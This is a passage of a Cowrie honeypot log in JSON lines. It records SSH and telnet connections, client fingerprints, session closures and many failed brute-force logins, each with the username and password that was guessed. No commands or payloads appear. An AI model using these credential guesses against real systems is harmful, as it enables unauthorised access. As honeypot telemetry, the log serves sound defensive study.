tp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:16.717291Z","src_ip":"156.227.233.77","session":"0dc8d4a835d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali2023","message":"login attempt [ali/ali2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:16.767686Z","src_ip":"43.159.177.40","session":"0e2fc2f4bd6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.65193462371826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:17.084526Z","src_ip":"62.171.135.55","session":"ec99bc8ae815","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftp-user","password":"123456","message":"login attempt [ftp-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:17.407135Z","src_ip":"156.227.233.77","session":"0dc8d4a835d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:17.843217Z","src_ip":"43.159.177.40","session":"0e2fc2f4bd6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":24469,"dst_ip":"10.17.0.5","dst_port":22,"session":"7430fb8d98c6","protocol":"ssh","message":"New connection: 2.57.121.25:24469 (10.17.0.5:22) [session: 7430fb8d98c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:18.062484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:18.069116Z","src_ip":"2.57.121.25","session":"7430fb8d98c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":42536,"dst_ip":"159.203.135.109","dst_port":23,"session":"68d035dbf512","protocol":"telnet","message":"New connection: 62.171.135.55:42536 (159.203.135.109:23) [session: 68d035dbf512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:18.132465Z"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:18.170113Z","src_ip":"2.57.121.25","session":"7430fb8d98c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:18.574913Z","src_ip":"156.227.233.77","session":"0dc8d4a835d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"daffodil","message":"login attempt [user/daffodil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:18.648899Z","src_ip":"2.57.121.25","session":"7430fb8d98c6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:18.859547Z","src_ip":"213.209.159.158","session":"9ad468d5d828","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:18.863417Z","src_ip":"213.209.159.158","session":"9ad468d5d828","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"cvbhyjdf","message":"login attempt [user/cvbhyjdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:19.751513Z","src_ip":"2.57.121.25","session":"7430fb8d98c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.38682246208191,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:20.135171Z","src_ip":"62.171.135.55","session":"44968d4e0d0b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"cute","message":"login attempt [user/cute] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:20.854987Z","src_ip":"2.57.121.25","session":"7430fb8d98c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"cumeater","message":"login attempt [user/cumeater] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:21.957945Z","src_ip":"2.57.121.25","session":"7430fb8d98c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"cueball","message":"login attempt [user/cueball] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:23.062011Z","src_ip":"2.57.121.25","session":"7430fb8d98c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.957712650299072,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:23.174855Z","src_ip":"62.171.135.55","session":"d3cd4769f5a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:24.164925Z","src_ip":"2.57.121.25","session":"7430fb8d98c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.96756863594055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:25.678601Z","src_ip":"62.171.135.55","session":"747d18de9ede","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":38270,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed08139ddb8a","protocol":"telnet","message":"New connection: 62.171.135.55:38270 (159.203.135.109:23) [session: ed08139ddb8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:25.959442Z"}
{"eventid":"cowrie.session.closed","duration":30.463659048080444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:28.097160Z","src_ip":"62.171.135.55","session":"528d0d52ee77","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vN!123345","message":"login attempt [root/vN!123345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:28.124863Z","src_ip":"213.209.159.158","session":"9ad468d5d828","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.090994834899902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:28.182879Z","src_ip":"62.171.135.55","session":"fc011fbd317a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.861559867858887,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:28.585508Z","src_ip":"62.171.135.55","session":"9a6d8323e0d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.002564191818237,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:29.136248Z","src_ip":"62.171.135.55","session":"18ff6a8d785c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00155401229858,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:30.968518Z","src_ip":"177.146.132.183","session":"2d705af4652c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:31.864987Z","src_ip":"213.209.159.158","session":"9ad468d5d828","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":60880,"dst_ip":"159.203.135.109","dst_port":22,"session":"c79fc0573e39","protocol":"ssh","message":"New connection: 213.209.159.158:60880 (159.203.135.109:22) [session: c79fc0573e39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:31.943763Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.146.132.183","src_port":47602,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddc7229aaa37","protocol":"telnet","message":"New connection: 177.146.132.183:47602 (10.17.0.5:23) [session: ddc7229aaa37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:32.593943Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50592,"dst_ip":"159.203.135.109","dst_port":22,"session":"5904d105d526","protocol":"ssh","message":"New connection: 159.203.92.129:50592 (159.203.135.109:22) [session: 5904d105d526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:33.697743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:33.702819Z","src_ip":"159.203.92.129","session":"5904d105d526","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:33.707575Z","src_ip":"159.203.92.129","session":"5904d105d526","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"live!123","message":"login attempt [ansible/live!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:33.719393Z","src_ip":"159.203.92.129","session":"5904d105d526","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:34.004071Z","src_ip":"213.209.159.158","session":"c79fc0573e39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:34.009013Z","src_ip":"213.209.159.158","session":"c79fc0573e39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:34.725631Z","src_ip":"159.203.92.129","session":"5904d105d526","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.4044029712677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:36.096239Z","src_ip":"68.178.160.252","session":"5eb6169a050c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.22744178771973,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:36.617448Z","src_ip":"184.107.167.149","session":"542eed25cf12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":55106,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8e787f1eb0c","protocol":"telnet","message":"New connection: 62.171.135.55:55106 (159.203.135.109:23) [session: e8e787f1eb0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:41.722239Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"VsaVb7rt","message":"login attempt [root/VsaVb7rt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:43.284642Z","src_ip":"213.209.159.158","session":"c79fc0573e39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":35410,"dst_ip":"159.203.135.109","dst_port":23,"session":"48e6e5480cf6","protocol":"telnet","message":"New connection: 62.171.135.55:35410 (159.203.135.109:23) [session: 48e6e5480cf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:44.654670Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":39104,"dst_ip":"159.203.135.109","dst_port":23,"session":"8464596fd1d9","protocol":"telnet","message":"New connection: 62.171.135.55:39104 (159.203.135.109:23) [session: 8464596fd1d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:45.808852Z"}
{"eventid":"cowrie.session.closed","duration":"14.5","message":"Connection lost after 14.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:46.451006Z","src_ip":"213.209.159.158","session":"c79fc0573e39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":63864,"dst_ip":"159.203.135.109","dst_port":22,"session":"048b4ffc6687","protocol":"ssh","message":"New connection: 213.209.159.158:63864 (159.203.135.109:22) [session: 048b4ffc6687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:46.530782Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":44308,"dst_ip":"159.203.135.109","dst_port":23,"session":"2432058df5f5","protocol":"telnet","message":"New connection: 62.171.135.55:44308 (159.203.135.109:23) [session: 2432058df5f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:48.407488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:48.625756Z","src_ip":"213.209.159.158","session":"048b4ffc6687","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:48.629556Z","src_ip":"213.209.159.158","session":"048b4ffc6687","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.345146656036377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:49.477479Z","src_ip":"62.171.135.55","session":"68d035dbf512","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":60230,"dst_ip":"159.203.135.109","dst_port":23,"session":"70c5bcfbeb7a","protocol":"telnet","message":"New connection: 62.171.135.55:60230 (159.203.135.109:23) [session: 70c5bcfbeb7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:52.440859Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":54114,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf5b61ef4e17","protocol":"ssh","message":"New connection: 50.99.170.152:54114 (159.203.135.109:22) [session: cf5b61ef4e17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:53.886744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:35:53.891206Z","src_ip":"50.99.170.152","session":"cf5b61ef4e17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS